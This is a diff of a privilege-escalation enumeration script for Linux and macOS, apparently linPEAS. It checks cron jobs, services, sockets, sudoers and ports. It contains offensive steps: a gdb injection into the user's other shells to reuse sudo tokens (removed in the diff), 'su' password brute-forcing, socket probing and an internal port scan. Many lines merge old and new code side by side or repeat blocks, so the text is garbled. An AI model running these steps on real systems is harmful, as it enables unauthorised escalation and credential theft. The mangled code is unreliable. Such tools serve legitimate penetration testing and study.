if echo "$pslist" | grep -q "lightdm"; then echo "lightdm process found (dump creds from memory as root)" | sed "s,lightdm,${SED_RED},"; else echo_not_found "lightdm"; fi if echo "$pslist" | grep -q "gnome-keyring-daemon"; then echo "gnome-keyring-daemon process found (dump creds from memory as root)" | sed "s,gnome-keyring-daemon,${SED_RED},"; else echo_not_found "gnome-keyring-daemon"; fi
if echo "$pslist" | grep -q "vsftpd"; then echo "vsftpd process found (dump creds from memory as root)" | sed "s,vsftpd,${SED_RED},"; else echo_not_found "vsftpd"; fi if echo "$pslist" | grep -q "lightdm"; then echo "lightdm process found (dump creds from memory as root)" | sed "s,lightdm,${SED_RED},"; else echo_not_found "lightdm"; fi
if echo "$pslist" | grep -q "apache2"; then echo "apache2 process found (dump creds from memory as root)" | sed "s,apache2,${SED_RED},"; else echo_not_found "apache2"; fi if echo "$pslist" | grep -q "vsftpd"; then echo "vsftpd process found (dump creds from memory as root)" | sed "s,vsftpd,${SED_RED},"; else echo_not_found "vsftpd"; fi
if echo "$pslist" | grep -q "sshd:"; then echo "sshd: process found (dump creds from memory as root)" | sed "s,sshd:,${SED_RED},"; else echo_not_found "sshd"; fi if echo "$pslist" | grep -q "apache2"; then echo "apache2 process found (dump creds from memory as root)" | sed "s,apache2,${SED_RED},"; else echo_not_found "apache2"; fi
echo "" if echo "$pslist" | grep -q "sshd:"; then echo "sshd: process found (dump creds from memory as root)" | sed "s,sshd:,${SED_RED},"; else echo_not_found "sshd"; fi
#-- PCS) Different processes 1 min
if ! [ "$FAST" ] && ! [ "$SUPERFAST" ]; then
print_2title "Different processes executed during 1 min (interesting is low number of repetitions)"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#frequent-cron-jobs"
temp_file=$(mktemp)
if [ "$(ps -e -o command 2>/dev/null)" ]; then for i in $(seq 1 1250); do ps -e -o command >> "$temp_file" 2>/dev/null; sleep 0.05; done; sort "$temp_file" 2>/dev/null | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort -r -n | grep -E -v "\s*[1-9][0-9][0-9][0-9]"; rm "$temp_file"; fi
echo "" echo ""
fi fi
#-- PCS) Cron if ! [ "$SEARCH_IN_FOLDER" ]; then
print_2title "Cron jobs" #-- PCS) Different processes 1 min
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#scheduled-cron-jobs" if ! [ "$FAST" ] && ! [ "$SUPERFAST" ]; then
command -v crontab 2>/dev/null || echo_not_found "crontab" print_2title "Different processes executed during 1 min (interesting is low number of repetitions)"
crontab -l 2>/dev/null | tr -d "\r" | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,root,${SED_RED}," print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#frequent-cron-jobs"
command -v incrontab 2>/dev/null || echo_not_found "incrontab" temp_file=$(mktemp)
incrontab -l 2>/dev/null if [ "$(ps -e -o user,command 2>/dev/null)" ]; then
ls -alR /etc/cron* /var/spool/cron/crontabs /var/spool/anacron 2>/dev/null | sed -${E} "s,$cronjobsG,${SED_GREEN},g" | sed "s,$cronjobsB,${SED_RED},g" for i in $(seq 1 1210); do
cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/* /etc/incron.d/* /var/spool/incron/* 2>/dev/null | tr -d "\r" | grep -v "^#" | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,root,${SED_RED}," ps -e -o user,command >> "$temp_file" 2>/dev/null; sleep 0.05;
crontab -l -u "$USER" 2>/dev/null | tr -d "\r" done;
ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /var/at/tabs/ /etc/periodic/ 2>/dev/null | sed -${E} "s,$cronjobsG,${SED_GREEN},g" | sed "s,$cronjobsB,${SED_RED},g" #MacOS paths sort "$temp_file" 2>/dev/null | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort -r -n | grep -E -v "\s*[1-9][0-9][0-9][0-9]" | sed -${E} "s,$Wfolders,${SED_RED},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,root,${SED_RED},";
atq 2>/dev/null rm "$temp_file";
fi
echo ""
fi
fi
if ! [ "$SEARCH_IN_FOLDER" ]; then
#-- PCS) Cron
print_2title "Cron jobs"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#scheduled-cron-jobs"
command -v crontab 2>/dev/null || echo_not_found "crontab"
crontab -l 2>/dev/null | tr -d "\r" | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,root,${SED_RED},"
command -v incrontab 2>/dev/null || echo_not_found "incrontab"
incrontab -l 2>/dev/null
ls -alR /etc/cron* /var/spool/cron/crontabs /var/spool/anacron 2>/dev/null | sed -${E} "s,$cronjobsG,${SED_GREEN},g" | sed "s,$cronjobsB,${SED_RED},g"
cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/* /etc/incron.d/* /var/spool/incron/* 2>/dev/null | tr -d "\r" | grep -v "^#" | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,root,${SED_RED},"
crontab -l -u "$USER" 2>/dev/null | tr -d "\r"
ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /var/at/tabs/ /etc/periodic/ 2>/dev/null | sed -${E} "s,$cronjobsG,${SED_GREEN},g" | sed "s,$cronjobsB,${SED_RED},g" #MacOS paths
atq 2>/dev/null
else
print_2title "Cron jobs"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#scheduled-cron-jobs"
find "$SEARCH_IN_FOLDER" '(' -type d -or -type f ')' '(' -name "cron*" -or -name "anacron" -or -name "anacrontab" -or -name "incron.d" -or -name "incron" -or -name "at" -or -name "periodic" ')' -exec echo {} \; -exec ls -lR {} \;
fi
echo "" echo ""
if [ "$MACPEAS" ]; then
if ! [ "$SEARCH_IN_FOLDER" ]; then
if [ "$MACPEAS" ]; then
print_2title "Third party LaunchAgents & LaunchDemons" print_2title "Third party LaunchAgents & LaunchDemons"
print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#launchd" print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#launchd"
ls -l /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Library/LaunchAgents/ ~/Library/LaunchDaemons/ 2>/dev/null ls -l /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Library/LaunchAgents/ ~/Library/LaunchDaemons/ 2>/dev/null
@@ -93,7 +147,7 @@ if [ "$MACPEAS" ]; then
program="" program=""
program=$(defaults read "$f" Program 2>/dev/null) program=$(defaults read "$f" Program 2>/dev/null)
if ! [ "$program" ]; then if ! [ "$program" ]; then
program=$(defaults read /Library/LaunchDaemons/MonitorHelper.plist ProgramArguments | grep -Ev "^\(|^\)" | cut -d '"' -f 2) program=$(defaults read "$f" ProgramArguments | grep -Ev "^\(|^\)" | cut -d '"' -f 2)
fi fi
if [ -w "$program" ]; then if [ -w "$program" ]; then
echo "$program" is writable | sed -${E} "s,.*,${SED_RED_YELLOW},"; echo "$program" is writable | sed -${E} "s,.*,${SED_RED_YELLOW},";
@@ -119,30 +173,35 @@ if [ "$MACPEAS" ]; then
print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#emond" print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#emond"
ls -l /private/var/db/emondClients ls -l /private/var/db/emondClients
echo "" echo ""
fi
fi fi
#-- PCS) Services if ! [ "$SEARCH_IN_FOLDER" ]; then
if [ "$EXTRA_CHECKS" ]; then #-- PCS) Services
if [ "$EXTRA_CHECKS" ]; then
print_2title "Services" print_2title "Services"
print_info "Search for outdated versions" print_info "Search for outdated versions"
(service --status-all || service -e || chkconfig --list || rc-status || launchctl list) 2>/dev/null || echo_not_found "service|chkconfig|rc-status|launchctl" (service --status-all || service -e || chkconfig --list || rc-status || launchctl list) 2>/dev/null || echo_not_found "service|chkconfig|rc-status|launchctl"
echo "" echo ""
fi
fi fi
#-- PSC) systemd PATH if ! [ "$SEARCH_IN_FOLDER" ]; then
print_2title "Systemd PATH" #-- PSC) systemd PATH
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#systemd-path-relative-paths" print_2title "Systemd PATH"
systemctl show-environment 2>/dev/null | grep "PATH" | sed -${E} "s,$Wfolders\|\./\|\.:\|:\.,${SED_RED_YELLOW},g" print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#systemd-path-relative-paths"
WRITABLESYSTEMDPATH=$(systemctl show-environment 2>/dev/null | grep "PATH" | grep -E "$Wfolders") systemctl show-environment 2>/dev/null | grep "PATH" | sed -${E} "s,$Wfolders\|\./\|\.:\|:\.,${SED_RED_YELLOW},g"
echo "" WRITABLESYSTEMDPATH=$(systemctl show-environment 2>/dev/null | grep "PATH" | grep -E "$Wfolders")
echo ""
fi
#-- PSC) .service files #-- PSC) .service files
#TODO: .service files in MACOS are folders #TODO: .service files in MACOS are folders
print_2title "Analyzing .service files" print_2title "Analyzing .service files"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#services" print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#services"
printf "%s\n" "$PSTORAGE_SYSTEMD" | while read s; do printf "%s\n" "$PSTORAGE_SYSTEMD" | while read s; do
if [ ! -O "$s" ]; then #Remove services that belongs to the current user if [ ! -O "$s" ] || [ "$SEARCH_IN_FOLDER" ]; then #Remove services that belongs to the current user or if firmware see everything
if ! [ "$IAMROOT" ] && [ -w "$s" ] && [ -f "$s" ]; then if ! [ "$IAMROOT" ] && [ -w "$s" ] && [ -f "$s" ] && ! [ "$SEARCH_IN_FOLDER" ]; then
echo "$s" | sed -${E} "s,.*,${SED_RED_YELLOW},g" echo "$s" | sed -${E} "s,.*,${SED_RED_YELLOW},g"
fi fi
servicebinpaths=$(grep -Eo '^Exec.*?=[!@+-]*[a-zA-Z0-9_/\-]+' "$s" 2>/dev/null | cut -d '=' -f2 | sed 's,^[@\+!-]*,,') #Get invoked paths servicebinpaths=$(grep -Eo '^Exec.*?=[!@+-]*[a-zA-Z0-9_/\-]+' "$s" 2>/dev/null | cut -d '=' -f2 | sed 's,^[@\+!-]*,,') #Get invoked paths
@@ -152,12 +211,12 @@ printf "%s\n" "$PSTORAGE_SYSTEMD" | while read s; do
fi fi
done done
relpath1=$(grep -E '^Exec.*=(?:[^/]|-[^/]|\+[^/]|![^/]|!![^/]|)[^/@\+!-].*' "$s" 2>/dev/null | grep -Iv "=/") relpath1=$(grep -E '^Exec.*=(?:[^/]|-[^/]|\+[^/]|![^/]|!![^/]|)[^/@\+!-].*' "$s" 2>/dev/null | grep -Iv "=/")
relpath2=$(grep -E '^Exec.*=.*/bin/[a-zA-Z0-9_]*sh ' "$s" 2>/dev/null | grep -Ev "/[a-zA-Z0-9_]+/") relpath2=$(grep -E '^Exec.*=.*/bin/[a-zA-Z0-9_]*sh ' "$s" 2>/dev/null)
if [ "$relpath1" ] || [ "$relpath2" ]; then if [ "$relpath1" ] || [ "$relpath2" ]; then
if [ "$WRITABLESYSTEMDPATH" ]; then if [ "$WRITABLESYSTEMDPATH" ]; then
echo "$s is executing some relative path" | sed -${E} "s,.*,${SED_RED},"; echo "$s could be executing some relative path" | sed -${E} "s,.*,${SED_RED},";
else else
echo "$s is executing some relative path" echo "$s could be executing some relative path"
fi fi
fi fi
fi fi
@@ -165,17 +224,19 @@ done
if [ ! "$WRITABLESYSTEMDPATH" ]; then echo "You can't write on systemd PATH" | sed -${E} "s,.*,${SED_GREEN},"; fi if [ ! "$WRITABLESYSTEMDPATH" ]; then echo "You can't write on systemd PATH" | sed -${E} "s,.*,${SED_GREEN},"; fi
echo "" echo ""
#-- PSC) Timers if ! [ "$SEARCH_IN_FOLDER" ]; then
print_2title "System timers" #-- PSC) Timers
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#timers" print_2title "System timers"
(systemctl list-timers --all 2>/dev/null | grep -Ev "(^$|timers listed)" | sed -${E} "s,$timersG,${SED_GREEN},") || echo_not_found print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#timers"
echo "" (systemctl list-timers --all 2>/dev/null | grep -Ev "(^$|timers listed)" | sed -${E} "s,$timersG,${SED_GREEN},") || echo_not_found
echo ""
fi
#-- PSC) .timer files #-- PSC) .timer files
print_2title "Analyzing .timer files" print_2title "Analyzing .timer files"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#timers" print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#timers"
printf "%s\n" "$PSTORAGE_TIMER" | while read t; do printf "%s\n" "$PSTORAGE_TIMER" | while read t; do
if ! [ "$IAMROOT" ] && [ -w "$t" ]; then if ! [ "$IAMROOT" ] && [ -w "$t" ] && ! [ "$SEARCH_IN_FOLDER" ]; then
echo "$t" | sed -${E} "s,.*,${SED_RED},g" echo "$t" | sed -${E} "s,.*,${SED_RED},g"
fi fi
timerbinpaths=$(grep -Po '^Unit=*(.*?$)' $t 2>/dev/null | cut -d '=' -f2) timerbinpaths=$(grep -Po '^Unit=*(.*?$)' $t 2>/dev/null | cut -d '=' -f2)
@@ -197,7 +258,7 @@ if ! [ "$IAMROOT" ]; then
print_2title "Analyzing .socket files" print_2title "Analyzing .socket files"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sockets" print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sockets"
printf "%s\n" "$PSTORAGE_SOCKET" | while read s; do printf "%s\n" "$PSTORAGE_SOCKET" | while read s; do
if ! [ "$IAMROOT" ] && [ -w "$s" ] && [ -f "$s" ]; then if ! [ "$IAMROOT" ] && [ -w "$s" ] && [ -f "$s" ] && ! [ "$SEARCH_IN_FOLDER" ]; then
echo "Writable .socket file: $s" | sed "s,/.*,${SED_RED},g" echo "Writable .socket file: $s" | sed "s,/.*,${SED_RED},g"
fi fi
socketsbinpaths=$(grep -Eo '^(Exec).*?=[!@+-]*/[a-zA-Z0-9_/\-]+' "$s" 2>/dev/null | cut -d '=' -f2 | sed 's,^[@\+!-]*,,') socketsbinpaths=$(grep -Eo '^(Exec).*?=[!@+-]*/[a-zA-Z0-9_/\-]+' "$s" 2>/dev/null | cut -d '=' -f2 | sed 's,^[@\+!-]*,,')
@@ -215,6 +276,7 @@ if ! [ "$IAMROOT" ]; then
done done
echo "" echo ""
if ! [ "$SEARCH_IN_FOLDER" ]; then
print_2title "Unix Sockets Listening" print_2title "Unix Sockets Listening"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sockets" print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sockets"
# Search sockets using netstat and ss # Search sockets using netstat and ss
@@ -225,12 +287,18 @@ if ! [ "$IAMROOT" ]; then
if ! [ "$unix_scks_list" ];then if ! [ "$unix_scks_list" ];then
unix_scks_list=$(netstat -a -p --unix 2>/dev/null | grep -Ei "listen|PID" | grep -Eo "/[a-zA-Z0-9\._/\-]+" | tail -n +2) unix_scks_list=$(netstat -a -p --unix 2>/dev/null | grep -Ei "listen|PID" | grep -Eo "/[a-zA-Z0-9\._/\-]+" | tail -n +2)
fi fi
unix_scks_list3=$(lsof -U 2>/dev/null | awk '{print $9}' | grep "/")
fi
if ! [ "$SEARCH_IN_FOLDER" ]; then
# But also search socket files # But also search socket files
unix_scks_list2=$(find / -type s 2>/dev/null) unix_scks_list2=$(find / -type s 2>/dev/null)
else
unix_scks_list2=$(find "SEARCH_IN_FOLDER" -type s 2>/dev/null)
fi
# Detele repeated dockets and check permissions # Detele repeated dockets and check permissions
(printf "%s\n" "$unix_scks_list" && printf "%s\n" "$unix_scks_list2") | sort | uniq | while read l; do (printf "%s\n" "$unix_scks_list" && printf "%s\n" "$unix_scks_list2" && printf "%s\n" "$unix_scks_list3") | sort | uniq | while read l; do
perms="" perms=""
if [ -r "$l" ]; then if [ -r "$l" ]; then
perms="Read " perms="Read "
@@ -238,10 +306,20 @@ if ! [ "$IAMROOT" ]; then
if [ -w "$l" ];then if [ -w "$l" ];then
perms="${perms}Write" perms="${perms}Write"
fi fi
if [ "$EXTRA_CHECKS" ] && [ "$(command -v curl)" ]; then
CANNOT_CONNECT_TO_SOCKET="$(curl -v --unix-socket "$l" --max-time 1 http:/linpeas 2>&1 | grep -i 'Permission denied')"
if ! [ "$CANNOT_CONNECT_TO_SOCKET" ]; then
perms="${perms} - Can Connect"
else
perms="${perms} - Cannot Connect"
fi
fi
if ! [ "$perms" ]; then echo "$l" | sed -${E} "s,$l,${SED_GREEN},g"; if ! [ "$perms" ]; then echo "$l" | sed -${E} "s,$l,${SED_GREEN},g";
else else
echo "$l" | sed -${E} "s,$l,${SED_RED},g" echo "$l" | sed -${E} "s,$l,${SED_RED},g"
echo " └─(${RED}${perms}${NC})" echo " └─(${RED}${perms}${NC})" | sed -${E} "s,Cannot Connect,${SED_GREEN},g"
# Try to contact the socket # Try to contact the socket
socketcurl=$(curl --max-time 2 --unix-socket "$s" http:/index 2>/dev/null) socketcurl=$(curl --max-time 2 --unix-socket "$s" http:/index 2>/dev/null)
if [ $? -eq 0 ]; then if [ $? -eq 0 ]; then
@@ -260,7 +338,7 @@ print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#d-b
if [ "$PSTORAGE_DBUS" ]; then if [ "$PSTORAGE_DBUS" ]; then
printf "%s\n" "$PSTORAGE_DBUS" | while read d; do printf "%s\n" "$PSTORAGE_DBUS" | while read d; do
for f in $d/*; do for f in $d/*; do
if ! [ "$IAMROOT" ] && [ -w "$f" ]; then if ! [ "$IAMROOT" ] && [ -w "$f" ] && ! [ "$SEARCH_IN_FOLDER" ]; then
echo "Writable $f" | sed -${E} "s,.*,${SED_RED},g" echo "Writable $f" | sed -${E} "s,.*,${SED_RED},g"
fi fi
@@ -282,10 +360,11 @@ if [ "$PSTORAGE_DBUS" ]; then
fi fi
echo "" echo ""
print_2title "D-Bus Service Objects list" if ! [ "$SEARCH_IN_FOLDER" ]; then
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#d-bus" print_2title "D-Bus Service Objects list"
dbuslist=$(busctl list 2>/dev/null) print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#d-bus"
if [ "$dbuslist" ]; then dbuslist=$(busctl list 2>/dev/null)
if [ "$dbuslist" ]; then
busctl list | while read line; do busctl list | while read line; do
echo "$line" | sed -${E} "s,$dbuslistG,${SED_GREEN},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$rootcommon,${SED_GREEN}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED},"; echo "$line" | sed -${E} "s,$dbuslistG,${SED_GREEN},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$rootcommon,${SED_GREEN}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED},";
if ! echo "$line" | grep -qE "$dbuslistG"; then if ! echo "$line" | grep -qE "$dbuslistG"; then
@@ -296,5 +375,6 @@ if [ "$dbuslist" ]; then
fi fi
fi fi
done done
else echo_not_found "busctl" else echo_not_found "busctl"
fi
fi fi

View File

@@ -24,7 +24,7 @@ fi
#-- NI) Interfaces #-- NI) Interfaces
print_2title "Interfaces" print_2title "Interfaces"
cat /etc/networks 2>/dev/null cat /etc/networks 2>/dev/null
(ifconfig || ip a) 2>/dev/null (ifconfig || ip a || (cat /proc/net/dev; cat /proc/net/fib_trie; cat /proc/net/fib_trie6)) 2>/dev/null
echo "" echo ""
#-- NI) Neighbours #-- NI) Neighbours
@@ -54,7 +54,7 @@ fi
#-- NI) Ports #-- NI) Ports
print_2title "Active Ports" print_2title "Active Ports"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-ports" print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-ports"
( (netstat -punta || ss -nltpu || netstat -anv) | grep -i listen) 2>/dev/null | sed -${E} "s,127.0.[0-9]+.[0-9]+|:::|::1:|0\.0\.0\.0,${SED_RED}," ( (netstat -punta || ss -nltpu || netstat -anv) | grep -i listen) 2>/dev/null | sed -${E} "s,127.0.[0-9]+.[0-9]+|:::|::1:|0\.0\.0\.0,${SED_RED},g"
echo "" echo ""
#-- NI) MacOS hardware ports #-- NI) MacOS hardware ports
@@ -155,6 +155,10 @@ if [ "$AUTO_NETWORK_SCAN" ]; then
echo "" echo ""
fi fi
done done
print_3title "Scanning top ports of host.docker.internal"
(tcp_port_scan "host.docker.internal" "" | grep -A 1000 "Ports going to be scanned" | grep -v "Ports going to be scanned" | sort | uniq) 2>/dev/null
echo ""
fi fi
fi fi

View File

@@ -68,7 +68,7 @@ fi
if ! [ "$IAMROOT" ] && [ -w '/etc/sudoers.d/' ]; then if ! [ "$IAMROOT" ] && [ -w '/etc/sudoers.d/' ]; then
echo "You can create a file in /etc/sudoers.d/ and escalate privileges" | sed -${E} "s,.*,${SED_RED_YELLOW}," echo "You can create a file in /etc/sudoers.d/ and escalate privileges" | sed -${E} "s,.*,${SED_RED_YELLOW},"
fi fi
for filename in '/etc/sudoers.d/*'; do for filename in /etc/sudoers.d/*; do
if [ -r "$filename" ]; then if [ -r "$filename" ]; then
echo "Sudoers file: $filename is readable" | sed -${E} "s,.*,${SED_RED},g" echo "Sudoers file: $filename is readable" | sed -${E} "s,.*,${SED_RED},g"
grep -Iv "^$" "$filename" | grep -v "#" | sed "s,_proxy,${SED_RED},g" | sed "s,$sudoG,${SED_GREEN},g" | sed -${E} "s,$sudoVB1,${SED_RED_YELLOW}," | sed -${E} "s,$sudoVB2,${SED_RED_YELLOW}," | sed -${E} "s,$sudoB,${SED_RED},g" | sed "s,pwfeedback,${SED_RED},g" grep -Iv "^$" "$filename" | grep -v "#" | sed "s,_proxy,${SED_RED},g" | sed "s,$sudoG,${SED_GREEN},g" | sed -${E} "s,$sudoVB1,${SED_RED_YELLOW}," | sed -${E} "s,$sudoVB2,${SED_RED_YELLOW}," | sed -${E} "s,$sudoB,${SED_RED},g" | sed "s,pwfeedback,${SED_RED},g"
@@ -80,27 +80,29 @@ echo ""
print_2title "Checking sudo tokens" print_2title "Checking sudo tokens"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#reusing-sudo-tokens" print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#reusing-sudo-tokens"
ptrace_scope="$(cat /proc/sys/kernel/yama/ptrace_scope 2>/dev/null)" ptrace_scope="$(cat /proc/sys/kernel/yama/ptrace_scope 2>/dev/null)"
if [ "$ptrace_scope" ] && [ "$ptrace_scope" -eq 0 ]; then echo "ptrace protection is disabled (0)" | sed "s,is disabled,${SED_RED},g"; if [ "$ptrace_scope" ] && [ "$ptrace_scope" -eq 0 ]; then
else echo "ptrace protection is enabled ($ptrace_scope)" | sed "s,is enabled,${SED_GREEN},g"; echo "ptrace protection is disabled (0), so sudo tokens could be abused" | sed "s,is disabled,${SED_RED},g";
fi
is_gdb="$(command -v gdb 2>/dev/null)" if [ "$(command -v gdb 2>/dev/null)" ]; then
if [ "$is_gdb" ]; then echo "gdb was found in PATH" | sed -${E} "s,.*,${SED_RED},g"; echo "gdb was found in PATH" | sed -${E} "s,.*,${SED_RED},g";
else echo "gdb wasn't found in PATH, this might still be vulnerable but linpeas won't be able to check it" | sed "s,gdb,${SED_GREEN},g";
fi
if [ ! "$SUPERFAST" ] && [ "$ptrace_scope" ] && [ "$ptrace_scope" -eq 0 ] && [ "$is_gdb" ]; then
echo "Checking for sudo tokens in other shells owned by current user"
for pid in $(pgrep '^(ash|ksh|csh|dash|bash|zsh|tcsh|sh)$' -u "$(id -u)" 2>/dev/null | grep -v "^$$\$"); do
echo "Injecting process $pid -> "$(cat "/proc/$pid/comm" 2>/dev/null)
echo 'call system("echo | sudo -S touch /tmp/shrndom32r2r >/dev/null 2>&1 && echo | sudo -S chmod 777 /tmp/shrndom32r2r >/dev/null 2>&1")' | gdb -q -n -p "$pid" >/dev/null 2>&1
if [ -f "/tmp/shrndom32r2r" ]; then
echo "Sudo token reuse exploit worked with pid:$pid! (see link)" | sed -${E} "s,.*,${SED_RED_YELLOW},";
break
fi fi
done
if [ -f "/tmp/shrndom32r2r" ]; then if [ "$CURRENT_USER_PIVOT_PID" ]; then
rm -f /tmp/shrndom32r2r 2>/dev/null echo "The current user proc $CURRENT_USER_PIVOT_PID is the parent of a different user proccess" | sed -${E} "s,.*,${SED_RED},g";
else echo "The escalation didn't work... (try again later?)"
fi fi
if [ -f "$HOME/.sudo_as_admin_successful" ]; then
echo "Current user has .sudo_as_admin_successful file, so he can execute with sudo" | sed -${E} "s,.*,${SED_RED},";
fi
if ps -eo pid,command -u "$(id -u)" | grep -v "$PPID" | grep -v " " | grep -qE '(ash|ksh|csh|dash|bash|zsh|tcsh|sh)$'; then
echo "Current user has other interactive shells running: " | sed -${E} "s,.*,${SED_RED},g";
ps -eo pid,command -u "$(id -u)" | grep -v "$PPID" | grep -v " " | grep -E '(ash|ksh|csh|dash|bash|zsh|tcsh|sh)$'
fi
else
echo "ptrace protection is enabled ($ptrace_scope)" | sed "s,is enabled,${SED_GREEN},g";
fi fi
echo "" echo ""
@@ -212,8 +214,7 @@ if [ "$EXTRA_CHECKS" ]; then
fi fi
#-- UI) Brute su #-- UI) Brute su
EXISTS_SUDO="$(command -v sudo 2>/dev/null)" if ! [ "$FAST" ] && ! [ "$SUPERFAST" ] && [ "$TIMEOUT" ] && ! [ "$IAMROOT" ]; then
if ! [ "$FAST" ] && ! [ "$SUPERFAST" ] && [ "$TIMEOUT" ] && ! [ "$IAMROOT" ] && [ "$EXISTS_SUDO" ]; then
print_2title "Testing 'su' as other users with shell using as passwords: null pwd, the username and top2000pwds\n"$NC print_2title "Testing 'su' as other users with shell using as passwords: null pwd, the username and top2000pwds\n"$NC
POSSIBE_SU_BRUTE=$(check_if_su_brute); POSSIBE_SU_BRUTE=$(check_if_su_brute);
if [ "$POSSIBE_SU_BRUTE" ]; then if [ "$POSSIBE_SU_BRUTE" ]; then
@@ -226,6 +227,6 @@ if ! [ "$FAST" ] && ! [ "$SUPERFAST" ] && [ "$TIMEOUT" ] && ! [ "$IAMROOT" ] &&
printf $GREEN"It's not possible to brute-force su.\n\n"$NC printf $GREEN"It's not possible to brute-force su.\n\n"$NC
fi fi
else else
print_2title "Do not forget to test 'su' as any other user with shell: without password and with their names as password (I can't do it...)\n"$NC print_2title "Do not forget to test 'su' as any other user with shell: without password and with their names as password (I don't do it in FAST mode...)\n"$NC
fi fi
print_2title "Do not forget to execute 'sudo -l' without password or with valid password (if you know it)!!\n"$NC print_2title "Do not forget to execute 'sudo -l' without password or with valid password (if you know it)!!\n"$NC

View File

@@ -5,14 +5,14 @@
NGINX_KNOWN_MODULES="ngx_http_geoip_module.so|ngx_http_xslt_filter_module.so|ngx_stream_geoip_module.so|ngx_http_image_filter_module.so|ngx_mail_module.so|ngx_stream_module.so" NGINX_KNOWN_MODULES="ngx_http_geoip_module.so|ngx_http_xslt_filter_module.so|ngx_stream_geoip_module.so|ngx_http_image_filter_module.so|ngx_mail_module.so|ngx_stream_module.so"
#-- SI) Useful software #-- SI) Useful software
if ! [ "SEARCH_IN_FOLDER" ]; then if ! [ "$SEARCH_IN_FOLDER" ]; then
print_2title "Useful software" print_2title "Useful software"
for tool in $USEFUL_SOFTWARE; do command -v "$tool"; done for tool in $USEFUL_SOFTWARE; do command -v "$tool"; done
echo "" echo ""
fi fi
#-- SI) Search for compilers #-- SI) Search for compilers
if ! [ "SEARCH_IN_FOLDER" ]; then if ! [ "$SEARCH_IN_FOLDER" ]; then
print_2title "Installed Compilers" print_2title "Installed Compilers"
(dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; command -v gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/"); (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; command -v gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/");
echo "" echo ""
@@ -129,9 +129,9 @@ if [ "$PSTORAGE_MYSQL" ] || [ "$DEBUG" ]; then
done done
fi fi
mysqlexec=$(whereis lib_mysqludf_sys.so 2>/dev/null | grep "lib_mysqludf_sys\.so") mysqlexec=$(whereis lib_mysqludf_sys.so 2>/dev/null | grep -Ev '^lib_mysqludf_sys.so:$' | grep "lib_mysqludf_sys\.so")
if [ "$mysqlexec" ]; then if [ "$mysqlexec" ]; then
echo "Found $mysqlexec" echo "Found $mysqlexec. $(whereis lib_mysqludf_sys.so)"
